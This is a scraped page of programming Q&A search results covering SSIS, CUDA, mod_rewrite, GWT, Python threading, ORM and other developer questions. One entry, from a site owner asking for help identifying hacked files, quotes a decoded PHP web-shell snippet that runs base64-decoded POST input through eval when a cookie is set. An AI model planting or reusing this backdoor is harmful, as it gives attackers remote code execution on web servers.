Search Results

Search found 7554 results on 303 pages for 'shared secret'.

Page 264/303 | < Previous Page | 260 261 262 263 264 265 266 267 268 269 270 271  | Next Page >

  • Is there a reason why SSIS significantly slows down after a few minutes?

    - by Mark
    I'm running a fairly substantial SSIS package against SQL 2008 - and I'm getting the same results both in my dev environment (Win7-x64 + SQL-x64-Developer) and the production environment (Server 2008 x64 + SQL Std x64). The symptom is that initial data loading screams at between 50K - 500K records per second, but after a few minutes the speed drops off dramatically and eventually crawls embarrasingly slowly. The database is in Simple recovery model, the target tables are empty, and all of the prerequisites for minimally logged bulk inserts are being met. The data flow is a simple load from a RAW input file to a schema-matched table (i.e. no complex transforms of data, no sorting, no lookups, no SCDs, etc.) The problem has the following qualities and resiliences: Problem persists no matter what the target table is. RAM usage is lowish (45%) - there's plenty of spare RAM available for SSIS buffers or SQL Server to use. Perfmon shows buffers are not spooling, disk response times are normal, disk availability is high. CPU usage is low (hovers around 25% shared between sqlserver.exe and DtsDebugHost.exe) Disk activity primarily on TempDB.mdf, but I/O is very low (< 600 Kb/s) OLE DB destination and SQL Server Destination both exhibit this problem. To sum it up, I expect either disk, CPU or RAM to be exhausted before the package slows down, but instead its as if the SSIS package is taking an afternoon nap. SQL server remains responsive to other queries, and I can't find any performance counters or logged events that betray the cause of the problem. I'll gratefully reward any reasonable answers / suggestions.

    Read the article

  • CUDA - multiple kernels to compute a single value

    - by Roger
    Hey, I'm trying to write a kernel to essentially do the following in C float sum = 0.0; for(int i = 0; i < N; i++){ sum += valueArray[i]*valueArray[i]; } sum += sum / N; At the moment I have this inside my kernel, but it is not giving correct values. int i0 = blockIdx.x * blockDim.x + threadIdx.x; for(int i=i0; i<N; i += blockDim.x*gridDim.x){ *d_sum += d_valueArray[i]*d_valueArray[i]; } *d_sum= __fdividef(*d_sum, N); The code used to call the kernel is kernelName<<<64,128>>>(N, d_valueArray, d_sum); cudaMemcpy(&sum, d_sum, sizeof(float) , cudaMemcpyDeviceToHost); I think that each kernel is calculating a partial sum, but the final divide statement is not taking into account the accumulated value from each of the threads. Every kernel is producing it's own final value for d_sum? Does anyone know how could I go about doing this in an efficient way? Maybe using shared memory between threads? I'm very new to GPU programming. Cheers

    Read the article

  • How to use a rewrite rule to force calls for "domain.tld/subdir/file.html" to show as "subdir.domain.tld/file.html"?

    - by Wion
    Hi! First time poster. Very new to mod_rewrite. I'm on a shared server and the context of this problem is with a virtual directory under my root account. The domain (domain.tld) will have subdirectories representing annual mini-sites of static .html files. Subdirectory names (yyyy) will be the 4-digit year (e.g., "2010"). I want any call to domain.tld/yyyy/file.html to appear as yyyy.domain.tld/file.html in the browser address bar, and (of course) for the page to load properly. I already force dropping “www” by using… RewriteCond %{HTTP_HOST} ^www\.domain\.tld [NC] RewriteRule (.*) http://domain.tld/$1 [R=301,L] So far so good. But no matter what I try after that, I can’t get the subdomain to force to the front of the domain. Here’s one of the more complicated examples I’ve tried (no doubt wrong)… RewriteCond %{HTTP_HOST} ^domain\.tld/([0-9]+)/([a-z-]+)\.html [NC] RewriteRule (.*) %1.domain.tld/%2.html [NC] This doesn’t break anything (that I can tell), but it doesn’t do what I want either. I.e., if I type yyyy.domain.tld, I’ll see yyyy.domain.tld in the address bar, and navigating around will give me yyyy.domain.tld/file.html, etc. Fine. But if also type domain.tld/yyyy I’ll see domain.tld/yyyy, etc, which is not how I want people to see it. It doesn’t redirect or mask or alias or whatever you call it. Is it even possible to force one look over the other like that? Should I be handling this with DNS instead? Thanks in advance!

    Read the article

  • How to deal with a flaw in System.Data.DataTableExtensions.CopyToDataTable()

    - by andy
    Hey guys, so I've come across something which is perhaps a flaw in the Extension method .CopyToDataTable. This method is used by Importing (in VB.NET) System.Data.DataTableExtensions and then calling the method against an IEnumerable. You would do this if you want to filter a Datatable using LINQ, and then restore the DataTable at the end. i.e: Imports System.Data.DataRowExtensions Imports System.Data.DataTableExtensions Public Class SomeClass Private Shared Function GetData() As DataTable Dim Data As DataTable Data = LegacyADO.NETDBCall Data = Data.AsEnumerable.Where(Function(dr) dr.Field(Of Integer)("SomeField") = 5).CopyToDataTable() Return Data End Function End Class In the example above, the "WHERE" filtering might return no results. If this happens CopyToDataTable throws an exception because there are no DataRows. Why? The correct behavior should be to return a DataTable with Rows.Count = 0. Can anyone think of a clean workaround to this, in such a way that whoever calls CopyToDataTable doesn't have to be aware of this issue? System.Data.DataTableExtensions is a Static Class so I can't override the behavior....any ideas? Have I missed something? cheers UPDATE: I have submitted this as an issue to Connect. I would still like some suggestions, but if you agree with me, you could vote up the issue at Connect via the link above cheers

    Read the article

  • How to force inclusion of an object file in a static library when linking into executable?

    - by Brian Bassett
    I have a C++ project that due to its directory structure is set up as a static library A, which is linked into shared library B, which is linked into executable C. (This is a cross-platform project using CMake, so on Windows we get A.lib, B.dll, and C.exe, and on Linux we get libA.a, libB.so, and C.) Library A has an init function (A_init, defined in A/initA.cpp), that is called from library B's init function (B_init, defined in B/initB.cpp), which is called from C's main. Thus, when linking B, A_init (and all symbols defined in initA.cpp) is linked into B (which is our desired behavior). The problem comes in that the A library also defines a function (Af, defined in A/Afort.f) that is intended to by dynamically loaded (i.e. LoadLibrary/GetProcAddress on Windows and dlopen/dlsym on Linux). Since there are no references to Af from library B, symbols from A/Afort.o are not included into B. On Windows, we can artifically create a reference by using the pragma: #pragma comment (linker, "/export:_Af") Since this is a pragma, it only works on Windows (using Visual Studio 2008). To get it working on Linux, we've tried adding the following to A/initA.cpp: extern void Af(void); static void (*Af_fp)(void) = &Af; This does not cause the symbol Af to be included in the final link of B. How can we force the symbol Af to be linked into B?

    Read the article

  • Can we have a component-scoped bean in a JSF2 composite component?

    - by Pradyumna
    Hi, I was wondering how I could create "component-scoped" beans, or so-to-say, "local variables inside a composite component" that are private to the instance of the composite component, and live as long as that instance lives. Below are more details, explained with an example: Suppose there is a "calculator" component - something that allows users to type in a mathematical expression, and evaluates its value. Optionally, it also plots the associated function. I can make a composite component that has: a text box for accepting the math expression two buttons called "Evaluate", and "Plot" another nested component that plots the function It is evidently a self-contained piece of function; so that somebody who wants to use it may just say <math:expressionEvaluator /> But obviously, the implementation would need a java object - something that evaluates the expression, something that computes the plot points, etc. - and I imagine it can be a bean - scoped just for this instance of this component, not a view-scoped or request-scoped bean that is shared across all instances of the component. How do I create such a bean? Is that even possible with composite components?

    Read the article

  • XSLT, worth investing time in, any actual alternatives?

    - by Keeno
    I realise this has been a few other questions on this topic, and people are saying use your language of choice to manipulate the xml etc etc however, not quite fit my question exactly. Firstly, the scope of the project: We want to develop platform independant e-learning, currently, its a bunch of HTML pages but as they grow and develop they become hard to maintain. The idea: Generate up an XML file + Schema, then produce some XSLT files that process the XML into the eLearning modiles. XML to HTML via XSLT. Why: We would like the flexibily to be able to easy reformat the content (i realise CSS is a viable alternative here) If we decide to alter the pages layout or functionality in anyway, im guessing altering the "shared" XSLT files would be easier than updating the HTML files. So far, we have about 30 modules, with up to 10-30 pages each Depending on some "parameters" we could output drastically different page layouts/structures, above and beyond what CSS can do Now, all this has to be platform independant, and to be able to run "offline" i.e. without a server powering the HTML Negatives ive read so far for XSLT: Overheard? Not exactly sure why...is it the compute power need to convert to HTML? Difficult to learn Better alternatives Now, what I would like to know exactly is: are there actually any viable alternatives for this "offline"? Am I going about it in the correct manner, do you guys have any advice or alternatives. Thanks!

    Read the article

  • Another developer revoked and re-created my client's iOS Distribution Certificate - does this mean I can never update my client's existing app?

    - by Schnapple
    Here is the story so far: A client hired us to do an iPhone app for them. This client had never done an iPhone app before and as part of the arrangement we handled all aspects for them, including app store submission, and we handle some level of future development (new features, bug/security fixes, etc.) We created a Distribution certificate and key pair on the client's behalf We developed the app, published it to the App Store without incident Some time later the client hired a second developer to do a different app for them This second developer, it appears, has revoked the existing Distribution certificate and created a new one with a new key pair on their system This second developer shared the new Distribution certificate and key pair with us for future reference. Due to user error, this new certificate and key pair has now been imported onto the Macintosh where the original certificate and key pair for the original app we developed were created and the originals were not backed up. So we have App #1 on the App Store with Distribution certificate/key pair #1 App #2 either on the App Store or soon to be using Distribution certificate/key pair #2 Distribution certificate/key pair #1 appears to be lost now So my question is: if we ever need to update App #1, will we be able to, using Distribution certificate/key pair #2? Or will we have to upload it as a new app?

    Read the article

  • Connection Pool Strategy: Good, Bad or Ugly?

    - by Drew
    I'm in charge of developing and maintaining a group of Web Applications that are centered around similar data. The architecture I decided on at the time was that each application would have their own database and web-root application. Each application maintains a connection pool to its own database and a central database for shared data (logins, etc.) A co-worker has been positing that this strategy will not scale because having so many different connection pools will not be scalable and that we should refactor the database so that all of the different applications use a single central database and that any modifications that may be unique to a system will need to be reflected from that one database and then use a single pool powered by Tomcat. He has posited that there is a lot of "meta data" that goes back and forth across the network to maintain a connection pool. My understanding is that with proper tuning to use only as many connections as necessary across the different pools (low volume apps getting less connections, high volume apps getting more, etc.) that the number of pools doesn't matter compared to the number of connections or more formally that the difference in overhead required to maintain 3 pools of 10 connections is negligible compared to 1 pool of 30 connections. The reasoning behind initially breaking the systems into a one-app-one-database design was that there are likely going to be differences between the apps and that each system could make modifications on the schema as needed. Similarly, it eliminated the possibility of system data bleeding through to other apps. Unfortunately there is not strong leadership in the company to make a hard decision. Although my co-worker is backing up his worries only with vagueness, I want to make sure I understand the ramifications of multiple small databases/connections versus one large database/connection pool.

    Read the article

  • ASP.NET MVC (VB) error when publishing to test server

    - by Colin
    I have an ASP.NET MVC project that works fine on my local machine (no build errors, server errors or anything). However, when I publish the project to a test server, I get an "Object reference not set to an instance of an object" error on a For Each I have in my view. I have a function within a model that returns a DataRowCollection. I'm calling that function in my controller and passing the DataRowCollection to my View, which then iterates over the rows and displays the necessary information: In the Controller I have: Function Index() As ActionResult Dim MyModel As New Model ViewData("MyDataRowCollection") = MyModel.GetDataRowCollection() Return View() End Function And then in the View, which is throwing the error: <%@ Page Language="VB" MasterPageFile="~/Views/Shared/Site.Master" Inherits="System.Web.Mvc.ViewPage" %> <asp:Content ID="indexTitle" ContentPlaceHolderID="TitleContent" runat="server"> My Page Title </asp:Content> <asp:Content ID="indexContent" ContentPlaceHolderID="MainContent" runat="server"> <% For Each MyDataRow In ViewData("MyDataRowCollection") ' do stuff with each MyDataRow Next %> I'm pretty new to ASP.NET MVC so I'm sure there might be a better way to do what I'm doing (I'd be happy to hear if there is), but my main concern is why this works fine on my local machine but throws an error on the For Each on the test server? Please let me know if I can clarify any of the above, and thanks in advance for any information.

    Read the article

  • Problems with Threading in Python 2.5, KeyError: 51, Help debugging?

    - by vignesh-k
    I have a python script which runs a particular script large number of times (for monte carlo purpose) and the way I have scripted it is that, I queue up the script the desired number of times it should be run then I spawn threads and each thread runs the script once and again when its done. Once the script in a particular thread is finished, the output is written to a file by accessing a lock (so my guess was that only one thread accesses the lock at a given time). Once the lock is released by one thread, the next thread accesses it and adds its output to the previously written file and rewrites it. I am not facing a problem when the number of iterations is small like 10 or 20 but when its large like 50 or 150, python returns a KeyError: 51 telling me element doesn't exist and the error it points out to is within the lock which puzzles me since only one thread should access the lock at once and I do not expect an error. This is the class I use: class errorclass(threading.Thread): def __init__(self, queue): self.__queue=queue threading.Thread.__init__(self) def run(self): while 1: item = self.__queue.get() if item is None: break result = myfunction() lock = threading.RLock() lock.acquire() ADD entries from current thread to entries in file and REWRITE FILE lock.release() queue = Queue.Queue() for i in range(threads): errorclass(queue).start() for i in range(desired iterations): queue.put(i) for i in range(threads): queue.put(None) Python returns with KeyError: 51 for large number of desired iterations during the adding/write file operation after lock access, I am wondering if this is the correct way to use the lock since every thread has a lock operation rather than every thread accessing a shared lock? What would be the way to rectify this?

    Read the article

  • Browser download file prompt using javascript

    - by aix
    hi, I was wondering if there was any method to implement browser's download file prompt using javascript. My reason - well users will be uploading files to a local fileserver which cannot be accessed from the webserver. In other words, both will be on different domains! e.g. let’s say websites hosted on www.xyz.com, but files would reside on local file server with address like \10.10.10.01\Files\file.txt. How am I uploading/transferring file to local fileserver... using ACTIVEX(yikes) & VBscript!!!! (don’t ask :-) so i am storing local file path in my database and binding that data to a grid. So when the user clicks on that link, the file opens in a window (using javascript). Problem is certain file types like text, jpg, pdf, etc open inside browser window. How would i be able to implement content-type or content-disposition using client side scripting? Is that even possible? hoping my description was clear. Any ideas? EDIT: the local file server has a window's shared folder on which the files are saved.

    Read the article

  • What pattern is layered architecture in asp.net ?

    - by haansi
    Hi, I am a asp.net developer and don't know much about patterns and architecture. I will very thankful if you can please guide me here. In my web applications I use 4 layers. Web site project (having web forms + code behind cs files, user controls + code behind cs files, master pages + code behind cs files) CustomTypesLayer a class library (having custom types, enumerations, DTOs, constructers, get, set and validations) BusinessLogicLayer a class library (having all business logic, rules and all calls to DAL functions) DataAccessLayer a class library( having just classes communicating to database.) -My user interface just calls BusinessLogicLayer. BusinessLogicLayer do proecessign in it self and for data it calls DataAccessLayer funtions. -Web forms do not calls directly DAL. -CustomTypesLayer is shared by all layers. Please guide me is this approach a pattern ? I though it may be MVC or MVP but pages have there code behind files as well which are confusing me. If it is no patren is it near to some patren ? pleaes guide thanks

    Read the article

  • Flex vs GWT again

    - by CK Lee
    Hi all, I am working on a customized web ontology editor (something like http://webprotege.stanford.edu/ which is built by GWT). My backend will be Java+Spring+Hibernate and domain models are in Java. My frontend will be something like WebProtege which requires extensive RPC call. It is quite clear that I should use GWT as I can refer to the open source code. However, due to company policy, I shall consider Flex as well. I understand Flex can remotely invoke Java backend methods via BlazeDS using AMF (Is there a Flex equivalent of GWT-RPC?). I have read discussion on GWT vs Flex vs ?. If I can make full decision sure I will go with GWT. GWT strengths like support right to left characters, support iPhone/iPad, smaller size, support JSON out of the box, support printing are not important considerations for my project. Besides GWT supports Java generic, enum; domain objects can be shared with both GWT client and server; coding are more seamlessly... anyone can suggest other strong reasons that I should only go with GWT? FYI, I have plenty of Java experience but both GWT and Flex are new to me. Thanks.

    Read the article

  • PHP hack files found - help decoding and identifying

    - by akc
    I found a handful of hack files on our web server. I managed to de-obfuscate them a bit -- they all seem to have a part that decodes into a chunk that looks like: if (!empty($_COOKIE['v']) and $_COOKIE['v']=='d'){if (!empty($_POST['c'])) {echo '<textarea rows=28 cols=80>'; $d=base64_decode(str_replace(' ','+',$_POST['c']));if($d) @eval($d); echo '</textarea>';}echo '<form action="" method=post><textarea cols=80 rows=28 name=c></textarea><br><input type=submit></form>';exit;} But this chunk (decoded above) is usually embedded into a larger code snippet. I've shared the code of one of the files in its entirety here: http://pastie.org/3753704 I can sort of see where this code is going, but definitely not an expert at PHP and could use some help figuring out more specifically what it's doing or enabling. Also, if anyone happens to be familiar with this hack, any information on how it works, and where the backdoor and other components of the hack may be hidden would be super helpful and greatly appreciated. I tried to Google parts of the code, to see if others have reported it, but only came up with this link: http://www.daniweb.com/web-development/php/threads/365059/hacked-joomla Thanks!

    Read the article

  • Windows 2008 VPS hosting experiences

    - by Luke Bennett
    Whilst similar questions exist, I couldn't find any which quite match my request. I'm looking for hosting for some personal .NET projects which for various reasons I do not want to host on our servers at work. I need to be able to host multiple sites and for that reason I'm thinking of a VPS with RDP access for the time being - don't fancy shared hosting as I feel that doesn't offer me the flexbility and control I'm looking for. What experiences do people have of Windows 2008 VPS providers? I've come across a few possibilities although it seems a lot of places are still on Windows 2003 with 2008 'coming soon'. Is VPS the best way to go? Eventually (depending on how the projects take off) I intend to get a dedicated box but at this stage it's not cost-effective. Also, what are people's experiences of running SQL Server Express on a VPS? What would you say the minimum requirements are for CPU/memory? I know it's not going to be anywhere near as performant as SQL Server 2005/8 running on a dedicated box but I'm hoping it will be an acceptable starting point. Any other tips/advice also welcome! Edit: Forgot to mention, I'm ideally looking for UK hosting although I'm open to alternatives.

    Read the article

  • Multiple "ObjectChangeTracker" getting created, can it be avoided?

    - by user555937
    Hi, We are working on a POC where we have following architecture (MVVM), WPF(Client) + WCF + Model(DataAccess)+ ADO.Net Entity Framework 4.0 (with SQL Server 2008 R2 as DB) All are different projects. In the DataAccess layer we have created different Entity Models(edmx) based on the functionality. The tables under perticular flow are grouped and created different entity models. We are using self tracking entities to and fro to communicate with the WPF client through wcf service. For Single model everything works fine. But when we created a Multiple models then few issues started coming. Mutliple models have few duplicate tables/entities. Two probels are, 1) When we try to access entities from different models mutiple objects "ObjectChangeTracker" are getting created. E.g. CompanyModel(edmx) - Company(Entity) - ObjectChangeTracker, ObjectState ProductModel(edmx) - Customer(Entity) - ObjectChangeTracker1, ObjectState1 OrderModel(edmx) - Oder(Entity) - ObjectChangeTracker2, ObjectState2 Is there any way to avoid this? 2) There are few tables which shared across the Models, E.g. Company(Entity) is used in All above mdoels. During compile time it does not thow any error. But run time It gives error saying "Schema specified is not valid. Errors: The mapping of CLR type to EDM type is ambiguous because multiple CLR types match the EDM type "Company"".. To resolve this, we renamed the entities with some prefix to make them Unique. Is there any other way we can resolve this without changing the name of the entity in the same assembly? Thanks in advance and appreciate if anyone has approach for these issues. Thanks, Kiran

    Read the article

  • Constructor initializer list: code from the C++ Primer, chapter 16

    - by Alexandros Gezerlis
    Toward the end of Chapter 16 of the "C++ Primer" I encountered the following code (I've removed a bunch of lines): class Sales_item { public: // default constructor: unbound handle Sales_item(): h() { } private: Handle<Item_base> h; // use-counted handle }; My problem is with the Sales_item(): h() { } line. For the sake of completeness, let me also quote the parts of the Handle class template that I think are relevant to my question (I think I don't need to show the Item_base class): template <class T> class Handle { public: // unbound handle Handle(T *p = 0): ptr(p), use(new size_t(1)) { } private: T* ptr; // shared object size_t *use; // count of how many Handles point to *ptr }; I would have expected something like either: a) Sales_item(): h(0) { } which is a convention the authors have used repeatedly in earlier chapters, or b) Handle<Item_base>() if the intention was to invoke the default constructor of the Handle class. Instead, what the book has is Sales_item(): h() { }. My gut reaction is that this is a typo, since h() looks suspiciously similar to a function declaration. On the other hand, I just tried compiling under g++ and running the example code that uses this class and it seems to be working correctly. Any thoughts?

    Read the article

  • Boost threading/mutexs, why does this work?

    - by Flamewires
    Code: #include <iostream> #include "stdafx.h" #include <boost/thread.hpp> #include <boost/thread/mutex.hpp> using namespace std; boost::mutex mut; double results[10]; void doubler(int x) { //boost::mutex::scoped_lock lck(mut); results[x] = x*2; } int _tmain(int argc, _TCHAR* argv[]) { boost::thread_group thds; for (int x = 10; x>0; x--) { boost::thread *Thread = new boost::thread(&doubler, x); thds.add_thread(Thread); } thds.join_all(); for (int x = 0; x<10; x++) { cout << results[x] << endl; } return 0; } Output: 0 2 4 6 8 10 12 14 16 18 Press any key to continue . . . So...my question is why does this work(as far as i can tell, i ran it about 20 times), producing the above output, even with the locking commented out? I thought the general idea was: in each thread: calculate 2*x copy results to CPU register(s) store calculation in correct part of array copy results back to main(shared) memory I would think that under all but perfect conditions this would result in some part of the results array having 0 values. Is it only copying the required double of the array to a cpu register? Or is it just too short of a calculation to get preempted before it writes the result back to ram? Thanks.

    Read the article

  • Is it possible to have an enum field in a class persisted with OrmLite?

    - by htf
    Hello. I'm trying to persist the following class with OrmLite: public class Field { @DatabaseField(id = true) public String name; @DatabaseField(canBeNull = false) public FieldType type; public Field() { } } The FieldType is a public enum. The field, corresponding to the type is string in SQLite (is doesn't support enums). When I try to use it, I get the following exception: INFO [main] (SingleConnectionDataSource.java:244) - Established shared JDBC Connection: org.sqlite.Conn@5224ee Exception in thread "main" org.springframework.beans.factory.BeanInitializationException: Initialization of DAO failed; nested exception is java.lang.IllegalArgumentException: Unknown field class class enums.FieldType for field FieldType:name=type,class=class orm.Field at org.springframework.dao.support.DaoSupport.afterPropertiesSet(DaoSupport.java:51) at orm.FieldDAO.getInstance(FieldDAO.java:17) at orm.Field.fromString(Field.java:23) at orm.Field.main(Field.java:38) Caused by: java.lang.IllegalArgumentException: Unknown field class class enums.FieldType for field FieldType:name=type,class=class orm.Field at com.j256.ormlite.field.FieldType.<init>(FieldType.java:54) at com.j256.ormlite.field.FieldType.createFieldType(FieldType.java:381) at com.j256.ormlite.table.DatabaseTableConfig.fromClass(DatabaseTableConfig.java:82) at com.j256.ormlite.dao.BaseJdbcDao.initDao(BaseJdbcDao.java:116) at org.springframework.dao.support.DaoSupport.afterPropertiesSet(DaoSupport.java:48) ... 3 more So how do I tell OrmLite, values on the Java side are from an enum?

    Read the article

  • How to provide i18n service for developer and end user

    - by user247245
    Many android applications have quite poor i18n-support, and for an understandable reason, as it adds much work for the developer. From a both intuitive and cultural point of view it would be a good thing if end-users could translate the apps themself, and OTA share the translation, without reinstalling the app itself. In concept; as wikipedia, some add content easily, others only use what's there. It's of course important that the service is as easy as possible to use, both for app-developers, and people willing to transcribe. To keep it simple, this is the solution I'm concidering; Developer perspective: Developer uses a customized setContentView when open activities/layouts that will seach for thanslations of xml-entries. (below) The customized version is provided as a free downloadable library/class..., turning the i18n feature to more or less a one liner. User perspective: User downloads app without any translation As app launches, it checks locale running at phone, and will look for a translated xml-file at shared space in SD. If no or old transcribed xml (above), try to download new from internet-service (ansync). This is all done by library above, no need for intents. Translator perspective: Separate app to provide translations for any app using the i18n service above. (Could be just a webapp), with some form of QA on translators/input. QUESTION: Now, for this to work efficiently, it has to be AeasyAP for the developer to even bother, and the most fluent solution would be a customized version of setContentView, that simply loads the translated values from external xml, instead of the ones in the apk. Is this possible at all, and if not, what's your suggested solutions? (And of course, Happy New Year, feliz ano novo, blwyddyn newydd dda, Gott Nytt År, kontan ane nouvo, szczesliwego nowego roku ...) Regards, /T

    Read the article

  • Apache mod_rewrite - forward domain root to subdirectory

    - by DuFace
    I have what I originally assumed to be a simple problem. I am using shared hosting for my website (so I don't have access to the Apache configuration) and have only been given a single folder to store all my content in. This is all well and good but it means that all my subdomains must have their virtual document root's inside public_html, meaning they effectively become a folder on my main domain. What I'd like to do is organise my public_html something like this: public_html/ www/ index.php ... sub1/ index.php ... some_library/ ... This way, all my web content is still in public_html but only a small fraction of it will be served to the client. I can easily achieve this for all the subdomains, but it's the primary domain that I'm having issues with. I created a .htaccess file in public_html with the following: Options +SymLinksIfOwnerMatch # I'm not allowed to use FollowSymLinks RewriteEngine on RewriteBase / RewriteCond %{REQUEST_URI} !^/www [NC] RewriteRule ^(.*)$ /www/$1 [L] This works fairly well, but for some strange reason www.example.com/stuff is translated into a request for www.example.com/www/stuff and hence a 404 error is given. It was my understanding that unless an 'R' flag was specified, mod_rewrite was purely internal so I can't understand why the request is generated as that implies (to me at least) redirection. I assumed this would be a trivial problem to solve as all I actually want to do is forward all requests for the root of www.example.com to a subdirectory, but I've spent hours searching for answers and none are quite correct. I find it difficult to believe I'm the only person to have this issue. I apologise if this question has been answered on here before, I did search and trawl but couldn't find an appropriate answer. Please could someone shed some light on this?

    Read the article

  • Mutually beneficial IP/copyright clauses for contract-based freelance work

    - by Nathan de Vries
    I have a copyright section in the contract I give to my clients stating that I retain copyright on any works produced during my work for them as an independent contractor. This is most definitely not intended to place arbitrary restrictions on my clients, but rather to maintain my ability to decide on how the software I create is licensed and distributed. Almost every project I work on results in at least one part of it being released as open source. Every project I work on makes use of third-party software released in the same fashion, so returning the favour is something I would like to continue doing. Unfortunately, the contract is not so clear when it comes to defining the rights of the client in the use of said software. I mention that the code will be licensed to them, but do not mention specifics about exclusivity, ability to produce derivatives etc. As such, a client has raised concerns about the copyright section of my contract, and has suggested that I reword it such that all copyrights are transferred entirely to the client on final payment for the project. This will almost certainly reduce my ability to distribute the software I have created; I would much prefer to find a more mutually beneficial agreement where both our concerns are appeased. Are there any tried and true approaches to licensing software in this kind of situation? To summarise: I want to maintain the ability to license (parts of) the software under my own terms, independently of my relationship with the client; with some guarantee to the client that no trade-secrets or critical business logic will be shared; giving them the ability to re-use my code in their future projects; but not necessarily letting them sell it (I'm not sure about this, though...what happens if they sell their business and the software along with it?) I realise that everyone's feedback is going to be prefixed with "IANAL", however I appreciate any thoughts you might have on the matter.

    Read the article

  • GWT Deserialisation of Persistent Entities (JPA)

    - by slartidan
    Hi everyone, I am currently developing Java/GWT-application which is hosted on a weblogic application server. I am using EJB3.0 with EclipseLink as persistence layer. Sadly my GWT has problems to deserialize persistent entities. It might be helpful for you to know, that I have the EclipseLink-Library in my classpath (including javax.persistence.Entity) am not recieving the persistence objects from a database or persistence-manager - I am creating the objects with standard java code use Eclipse IDE for Java EE Developers for development and deploying and I am compiling my GWT code with the GWT-Plugin (GWT 2.1.0) - my source code is split up in several projects am pretty sure, that the problems occures on client side, since the HTTP response of my server is the same in my working and in my not working example tried to patch javax.persistence.Entity and tried to include several libraries which included javax.persistence.Entity but nothing was helping In my server provides a list of instances of class SerialClass; the interface looks like this: public interface GreetingService extends RemoteService { List<SerialClass> greetServer(); } My onModuleLoad()-Method gets those instances and creates a browser-popup with the information: public void onModuleLoad() { GreetingServiceAsync server = (GreetingServiceAsync) GWT.create(GreetingService.class); server.greetServer(new AsyncCallback<List<SerialClass>>() { public void onFailure(Throwable caught) { } public void onSuccess(List<SerialClass> result) { String resultString = ""; try { for (SerialClass serial : result) { if (serial == null) { resultString += "null "; } else { resultString += ">" + serial.id + "< "; } } } catch (Throwable t) { Window.alert("failed to process"); } Window.alert("success:" + resultString); } }); } My server is looking like this: public class GreetingServiceImpl extends RemoteServiceServlet implements GreetingService { public List<SerialClass> greetServer() throws IllegalArgumentException { List<SerialClass> list = new ArrayList<SerialClass>(); for (int i = 0; i < 100; i++) { list.add(new SerialClass()); } return list; } } Case 1 = everything works fine I am using this SerialClass (either without any annotation, or with any annotation other than Entity - for example javax.persistence.PersistenceContext works fine): //@Entity public class SerialClass implements Serializable, IsSerializable { public int id = 4711; } The popup contains (as expected): success:>4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< >4711< The data sent over HTTP looks like this: //OK[4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,100,1,["java.util.ArrayList/3821976829","serial.shared.SerialClass/10650133"],0,6] Case 2 = its not working at all I am using this SerialClass: @Entity public class SerialClass implements Serializable, IsSerializable { public int id = 4711; } My popup contains (THIS IS MY PROBLEM): success:>2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null >2< null The data sent over HTTP looks like this (exactly the same!): //OK[4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,4711,2,100,1,["java.util.ArrayList/3821976829","serial.shared.SerialClass/10650133"],0,6] There is no suspicious logging output - neither on server, nor on client. All HTTP-responses have return code 200. My current workaround I am going to try to create transfer objects as a copy of my SerialClass - those transfer objects will look exactly the same, but will not have the @Entity annotation. Alternatively I could try to use the RequestFactory (thanks to @Hilbrand for the hint). I really don't know how to solve that problem and I'm really thankful about any suggestions, hints, tips, links, etc.

    Read the article

  • What is the best way to do scoped finds based on access control rules in Rails?

    - by Rafael Szuminski
